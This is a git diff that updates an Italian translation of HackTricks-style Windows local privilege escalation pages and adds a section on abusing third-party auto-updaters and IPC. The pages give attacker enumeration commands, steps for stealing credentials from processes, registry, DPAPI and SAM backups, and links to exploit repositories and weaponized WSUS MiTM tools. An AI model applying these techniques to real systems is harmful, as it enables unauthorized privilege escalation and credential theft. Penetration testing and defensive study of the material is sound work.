diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 343cdd455..9a62d47c5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -236,6 +236,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 964edabca..109a491f9 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,114 +1,115 @@ -# Checklist - Local Windows Privilege Escalation +# Lista di controllo - escalation dei privilegi locali su Windows {{#include ../banners/hacktricks-training.md}} -### **Miglior strumento per cercare vettori di escalation dei privilegi locali di Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Miglior strumento per cercare vettori di privilege escalation locale su Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [Informazioni di sistema](windows-local-privilege-escalation/index.html#system-info) +### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] Ottenere [**Informazioni di sistema**](windows-local-privilege-escalation/index.html#system-info) -- [ ] Cercare **exploit del kernel** [**utilizzando script**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] Usare **Google per cercare** exploit del kernel -- [ ] Usare **searchsploit per cercare** exploit del kernel -- [ ] Informazioni interessanti in [**variabili d'ambiente**](windows-local-privilege-escalation/index.html#environment)? -- [ ] Password nella [**cronologia di PowerShell**](windows-local-privilege-escalation/index.html#powershell-history)? -- [ ] Informazioni interessanti nelle [**impostazioni di Internet**](windows-local-privilege-escalation/index.html#internet-settings)? -- [ ] [**Unità**](windows-local-privilege-escalation/index.html#drives)? -- [ ] [**Exploit WSUS**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] Ottenere [**System information**](windows-local-privilege-escalation/index.html#system-info) +- [ ] Cercare **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] Usare **Google** per cercare exploit del **kernel** +- [ ] Usare **searchsploit** per cercare exploit del **kernel** +- [ ] Informazioni interessanti in [**env vars**](windows-local-privilege-escalation/index.html#environment)? +- [ ] Password nella [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)? +- [ ] Informazioni interessanti in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? +- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? +- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? -### [Enumerazione di Logging/AV](windows-local-privilege-escalation/index.html#enumeration) +### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Controllare le impostazioni di [**Audit**](windows-local-privilege-escalation/index.html#audit-settings) e [**WEF**](windows-local-privilege-escalation/index.html#wef) +- [ ] Controllare le impostazioni di [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)e [**WEF** ](windows-local-privilege-escalation/index.html#wef) - [ ] Controllare [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] Controllare se [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) è attivo -- [ ] [**Protezione LSA**](windows-local-privilege-escalation/index.html#lsa-protection)? +- [ ] Verificare se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)è attivo +- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) -- [ ] [**Credenziali memorizzate**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] Controllare se ci sono [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) -- [ ] [**Politica AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? +- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? +- [ ] Controllare se è presente qualche [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) +- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) -- [ ] [**Privilegi utente**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Controllare i [**privilegi**] dell'utente [**corrente**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Sei [**membro di qualche gruppo privilegiato**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] Controllare se hai [alcuni di questi token abilitati](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? -- [ ] [**Sessioni utenti**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] Controllare [**le home degli utenti**](windows-local-privilege-escalation/index.html#home-folders) (accesso?) -- [ ] Controllare la [**Politica delle password**](windows-local-privilege-escalation/index.html#password-policy) -- [ ] Cosa c'è [**nella Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? +- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Controllare i privilegi dell'utente **corrente** (current user **privileges**)(windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Sei [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? +- [ ] Verificare se hai [alcuni di questi token abilitati](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? +- [ ] Controllare [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (accesso?) +- [ ] Controllare la [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) +- [ ] Cosa c'è [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? -### [Rete](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Controllare le **informazioni di rete** [**correnti**](windows-local-privilege-escalation/index.html#network) -- [ ] Controllare i **servizi locali nascosti** riservati all'esterno +- [ ] Controllare le informazioni **network** **correnti** (current) +- [ ] Controllare i servizi locali nascosti limitati all'esterno -### [Processi in esecuzione](windows-local-privilege-escalation/index.html#running-processes) +### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] Permessi [**file e cartelle dei binari dei processi**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) -- [ ] [**Estrazione password dalla memoria**](windows-local-privilege-escalation/index.html#memory-password-mining) -- [ ] [**App GUI insicure**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] Rubare credenziali con **processi interessanti** tramite `ProcDump.exe` ? (firefox, chrome, ecc ...) +- [ ] Permessi di file e cartelle dei binari dei processi [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) +- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) +- [ ] Rubare credenziali con **interesting processes** tramite `ProcDump.exe` ? (firefox, chrome, ecc ...) -### [Servizi](windows-local-privilege-escalation/index.html#services) +### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [Puoi **modificare qualche servizio**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [Puoi **modificare** il **binario** che viene **eseguito** da qualche **servizio**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [Puoi **modificare** il **registro** di qualche **servizio**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [Puoi approfittare di qualche **percorso di binario di servizio non quotato**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] [Puoi **modify any service**?](windows-local-privilege-escalation/index.html#permissions) +- [ ] [Puoi **modify** il **binary** che viene **eseguito** da qualche **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) +- [ ] [Puoi **modify** il **registry** di qualche **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) +- [ ] [Puoi sfruttare qualche **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) -### [**Applicazioni**](windows-local-privilege-escalation/index.html#applications) +### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Scrivere** [**permessi sulle applicazioni installate**](windows-local-privilege-escalation/index.html#write-permissions) -- [ ] [**Applicazioni di avvio**](windows-local-privilege-escalation/index.html#run-at-startup) -- [ ] **Driver vulnerabili** [**Driver**](windows-local-privilege-escalation/index.html#drivers) +- [ ] **Write** permessi su applicazioni installate [**Write**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) +- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] Puoi **scrivere in qualche cartella dentro PATH**? -- [ ] Esiste qualche binario di servizio noto che **cerca di caricare qualche DLL inesistente**? -- [ ] Puoi **scrivere** in qualche **cartella di binari**? +- [ ] Puoi **write in any folder inside PATH**? +- [ ] Esiste qualche servizio che prova a caricare una DLL non esistente? +- [ ] Puoi **write** in qualche **binaries folder**? -### [Rete](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Enumerare la rete (condivisioni, interfacce, rotte, vicini, ...) -- [ ] Dare un'occhiata speciale ai servizi di rete in ascolto su localhost (127.0.0.1) +- [ ] Enumerare la rete (condivisioni, interfacce, route, neighbours, ...) +- [ ] Prestare particolare attenzione ai servizi di rete che ascoltano solo su localhost (127.0.0.1) -### [Credenziali di Windows](windows-local-privilege-escalation/index.html#windows-credentials) +### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] Credenziali di [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) -- [ ] Credenziali di [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) che potresti usare? -- [ ] Credenziali [**DPAPI**] interessanti](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] Password delle [**reti Wifi salvate**](windows-local-privilege-escalation/index.html#wifi)? -- [ ] Informazioni interessanti nelle [**connessioni RDP salvate**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? -- [ ] Password nei [**comandi eseguiti di recente**](windows-local-privilege-escalation/index.html#recently-run-commands)? +- [ ] Credenziali [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) +- [ ] Credenziali [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) che puoi usare? +- [ ] Informazioni interessanti in [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] Password delle reti [**Wifi**](windows-local-privilege-escalation/index.html#wifi) salvate? +- [ ] Informazioni interessanti in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? +- [ ] Password in [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)? - [ ] Password del [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)? -- [ ] Esiste [**AppCmd.exe**](windows-local-privilege-escalation/index.html#appcmd-exe)? Credenziali? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credenziali? - [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? -### [File e Registro (Credenziali)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) +### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Credenziali**](windows-local-privilege-escalation/index.html#putty-creds) **e** [**chiavi host SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) -- [ ] [**Chiavi SSH nel registro**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? -- [ ] Password in [**file non presidiati**](windows-local-privilege-escalation/index.html#unattended-files)? +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **e** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? +- [ ] Password in [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)? - [ ] Qualche backup di [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)? -- [ ] [**Credenziali cloud**](windows-local-privilege-escalation/index.html#cloud-credentials)? +- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? - [ ] File [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)? -- [ ] [**Password GPP memorizzate**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? -- [ ] Password nel [**file di configurazione IIS Web**](windows-local-privilege-escalation/index.html#iis-web-config)? -- [ ] Informazioni interessanti nei [**log web**](windows-local-privilege-escalation/index.html#logs)? -- [ ] Vuoi [**chiedere credenziali**](windows-local-privilege-escalation/index.html#ask-for-credentials) all'utente? -- [ ] File interessanti [**dentro il Cestino**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? -- [ ] Altro [**registro contenente credenziali**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] Dentro i [**dati del browser**](windows-local-privilege-escalation/index.html#browsers-history) (db, cronologia, segnalibri, ...)? -- [ ] [**Ricerca generica di password**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in file e registro -- [ ] [**Strumenti**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) per cercare automaticamente le password +- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? +- [ ] Password in [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)? +- [ ] Informazioni interessanti nei [**web** **logs**](windows-local-privilege-escalation/index.html#logs)? +- [ ] Vuoi [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) all'utente? +- [ ] File interessanti dentro il [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? +- [ ] Altri [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? +- [ ] Dentro i [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (db, cronologia, segnalibri, ...)? +- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in file e registry +- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) per cercare automaticamente password -### [Gestori di leak](windows-local-privilege-escalation/index.html#leaked-handlers) +### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] Hai accesso a qualche gestore di un processo eseguito da amministratore? +- [ ] Hai accesso a qualche handler di un processo eseguito dall'amministratore? -### [Impersonificazione del client Pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) +### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] Controlla se puoi abusarne +- [ ] Verificare se puoi abusarne {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 66175f7a0..8dd898da6 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Miglior strumento per cercare i vettori di Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## Teoria iniziale di Windows ### Access Tokens -**Se non sai cosa sono Windows Access Tokens, leggi la seguente pagina prima di continuare:** +**Se non sai cosa sono gli Access Tokens di Windows, leggi la pagina seguente prima di continuare:** {{#ref}} @@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Se non sai cosa sono gli Integrity Levels in Windows dovresti leggere la seguente pagina prima di continuare:** +**Se non sai cosa sono gli integrity levels in Windows, dovresti leggere la pagina seguente prima di continuare:** {{#ref}} @@ -35,18 +35,18 @@ integrity-levels.md ## Controlli di sicurezza di Windows -Ci sono diverse cose in Windows che potrebbero **impedirti di enumerare il sistema**, eseguire eseguibili o perfino **rilevare le tue attività**. Dovresti **leggere** la seguente **pagina** e **enumerare** tutti questi **meccanismi** **di difesa** prima di iniziare l'enumerazione per la privilege escalation: +Ci sono diverse cose in Windows che potrebbero **impedirti di enumerare il sistema**, eseguire eseguibili o persino **rilevare le tue attività**. Dovresti **leggere** la seguente **pagina** e **enumerare** tutti questi **meccanismi** **di** **difesa** prima di iniziare l'enumerazione per la privilege escalation: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Info di sistema +## Informazioni sul sistema ### Enumerazione delle informazioni sulla versione -Verifica se la versione di Windows ha vulnerabilità note (controlla anche le patch applicate). +Controlla se la versione di Windows ha vulnerabilità note (verifica anche le patch applicate). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,9 +59,9 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Version Exploits +### Exploit di versione -Questo [site](https://msrc.microsoft.com/update-guide/vulnerability) è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza di Microsoft. Questo database contiene più di 4.700 vulnerabilità di sicurezza, mostrando la **massive attack surface** che un ambiente Windows presenta. +This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **massiva superficie d'attacco** that a Windows environment presents. **Sul sistema** @@ -70,20 +70,20 @@ Questo [site](https://msrc.microsoft.com/update-guide/vulnerability) è utile pe - [_watson_](https://github.com/rasta-mouse/Watson) - [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ha watson integrato)_ -**Localmente con informazioni di sistema** +**Localmente con informazioni sul sistema** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github repository di exploits:** +**Repository GitHub di exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -### Environment +### Ambiente -Ci sono credenziali/informazioni Juicy salvate nelle variabili d'ambiente? +Ci sono credenziali/Juicy info salvate nelle env variables? ```bash set dir env: @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### File di trascrizione di PowerShell -Puoi imparare come attivarlo in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Puoi imparare come attivarlo su [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,7 +116,7 @@ Stop-Transcript ``` ### PowerShell Module Logging -Vengono registrati i dettagli delle esecuzioni della pipeline di PowerShell, includendo i comandi eseguiti, le invocazioni dei comandi e parti degli script. Tuttavia, i dettagli completi dell'esecuzione e i risultati dell'output potrebbero non essere catturati. +Vengono registrati i dettagli delle esecuzioni della pipeline di PowerShell, includendo i comandi eseguiti, le invocazioni di comandi e porzioni di script. Tuttavia, i dettagli completi dell'esecuzione e i risultati di output potrebbero non essere catturati. Per abilitarlo, segui le istruzioni nella sezione "Transcript files" della documentazione, optando per **"Module Logging"** invece di **"Powershell Transcription"**. ```bash @@ -125,20 +125,20 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Per visualizzare gli ultimi 15 eventi dai log di PowerShell puoi eseguire: +Per visualizzare gli ultimi 15 eventi dai log di PowersShell puoi eseguire: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Viene acquisito un record completo delle attività e del contenuto dell'esecuzione dello script, garantendo che ogni blocco di code sia documentato mentre viene eseguito. Questo processo preserva una traccia di audit completa di ciascuna attività, utile per l'analisi forense e per analizzare comportamenti dannosi. Documentando tutta l'attività al momento dell'esecuzione, si ottengono approfondimenti dettagliati sul processo. +Viene acquisito un registro completo delle attività e dei contenuti dell'esecuzione dello script, assicurando che ogni blocco di codice sia documentato durante la sua esecuzione. Questo processo conserva una traccia di audit completa di ogni attività, preziosa per le indagini forensi e per l'analisi del comportamento malevolo. Documentando tutte le attività al momento dell'esecuzione, si ottengono approfondimenti dettagliati sul processo. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Gli eventi di log per lo Script Block si trovano nel Visualizzatore eventi di Windows al percorso: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Gli eventi per lo Script Block possono essere trovati nel Visualizzatore eventi di Windows al percorso: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Per visualizzare gli ultimi 20 eventi puoi usare: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -156,13 +156,13 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Puoi compromettere il sistema se gli aggiornamenti non vengono richiesti tramite http**S** ma tramite http. +Puoi compromettere il sistema se gli aggiornamenti non vengono richiesti usando http**S** ma http. -Inizi verificando se la rete utilizza un aggiornamento WSUS non-SSL eseguendo quanto segue in cmd: +Per cominciare, verifica se la rete utilizza un aggiornamento WSUS non-SSL eseguendo il seguente comando in cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Oppure quanto segue in PowerShell: +Oppure il seguente in PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` @@ -180,11 +180,11 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` o `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` è impostato a `1`. +E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` o `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` è pari a `1`. -Allora, **è sfruttabile.** Se quest'ultima chiave di registro è impostata a 0, la voce WSUS verrà ignorata. +Allora, **è sfruttabile.** Se l'ultima chiave di registro è pari a 0, la voce WSUS verrà ignorata. -Per sfruttare questa vulnerabilità puoi usare tool come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS](https://github.com/GoSecure/pywsus) - questi sono script di exploit MiTM weaponizzati per iniettare aggiornamenti 'falsi' nel traffico WSUS non-SSL. +Per sfruttare questa vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - sono script exploit weaponizzati MiTM per iniettare aggiornamenti 'falsi' nel traffico WSUS non-SSL. Read the research here: @@ -195,21 +195,29 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -In pratica, questo è il difetto che questo bug sfrutta: +Fondamentalmente, questo è il difetto che questo bug sfrutta: -> Se abbiamo la possibilità di modificare il proxy dell'utente locale, e Windows Updates usa il proxy configurato nelle impostazioni di Internet Explorer, allora possiamo eseguire [PyWSUS](https://github.com/GoSecure/pywsus) localmente per intercettare il nostro traffico e eseguire codice come utente elevato sul sistema. +> Se abbiamo la possibilità di modificare il proxy del nostro utente locale, e Windows Updates usa il proxy configurato nelle impostazioni di Internet Explorer, allora abbiamo la possibilità di eseguire [PyWSUS](https://github.com/GoSecure/pywsus) localmente per intercettare il nostro traffico e eseguire codice come utente elevato sul nostro asset. > -> Inoltre, poiché il servizio WSUS usa le impostazioni dell'utente corrente, utilizzerà anche il suo store di certificati. Se generiamo un certificato self-signed per l'hostname WSUS e aggiungiamo questo certificato allo store di certificati dell'utente corrente, saremo in grado di intercettare il traffico WSUS sia HTTP che HTTPS. WSUS non utilizza meccanismi simili a HSTS per applicare una validazione di tipo trust-on-first-use sul certificato. Se il certificato presentato è considerato attendibile dall'utente e ha l'hostname corretto, sarà accettato dal servizio. +> Inoltre, poiché il servizio WSUS utilizza le impostazioni dell'utente corrente, utilizzerà anche il suo archivio certificati. Se generiamo un certificato self-signed per il WSUS hostname e aggiungiamo questo certificato nell'archivio certificati dell'utente corrente, saremo in grado di intercettare sia il traffico HTTP che HTTPS di WSUS. WSUS non usa meccanismi simili a HSTS per implementare una validazione di tipo trust-on-first-use sul certificato. Se il certificato presentato è trusted dall'utente e ha il corretto hostname, verrà accettato dal servizio. -Puoi sfruttare questa vulnerabilità usando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta reso disponibile). +Puoi sfruttare questa vulnerabilità usando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta che sarà liberato). + +## Third-Party Auto-Updaters and Agent IPC (local privesc) + +Molti agent enterprise espongono una superficie IPC su localhost e un canale di aggiornamento privilegiato. Se l'enrollment può essere forzato verso un server controllato dall'attaccante e l'updater si fida di una rogue root CA o di controlli di firma deboli, un utente locale può consegnare un MSI malevolo che il servizio SYSTEM installerà. Vedi una tecnica generalizzata (basata sulla catena Netskope stAgentSvc – CVE-2025-0309) qui: + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} ## KrbRelayUp -Esiste una vulnerabilità di **elevazione locale dei privilegi** in ambienti Windows **domain** sotto condizioni specifiche. Queste condizioni includono ambienti in cui **LDAP signing non è forzato**, gli utenti possiedono diritti che permettono loro di configurare **Resource-Based Constrained Delegation (RBCD)**, e la capacità per gli utenti di creare computer all'interno del dominio. È importante notare che questi **requisiti** sono soddisfatti dalle **impostazioni di default**. +Una vulnerabilità di **local privilege escalation** esiste in ambienti Windows **domain** in condizioni specifiche. Queste condizioni includono ambienti dove **LDAP signing non è forzato**, gli utenti possiedono i diritti per configurare la **Resource-Based Constrained Delegation (RBCD)**, e la possibilità per gli utenti di creare computer all'interno del dominio. È importante notare che questi **requisiti** sono soddisfatti usando le **impostazioni di default**. Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Per maggiori informazioni sul flusso dell'attacco consulta [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +For more information about the flow of the attack check 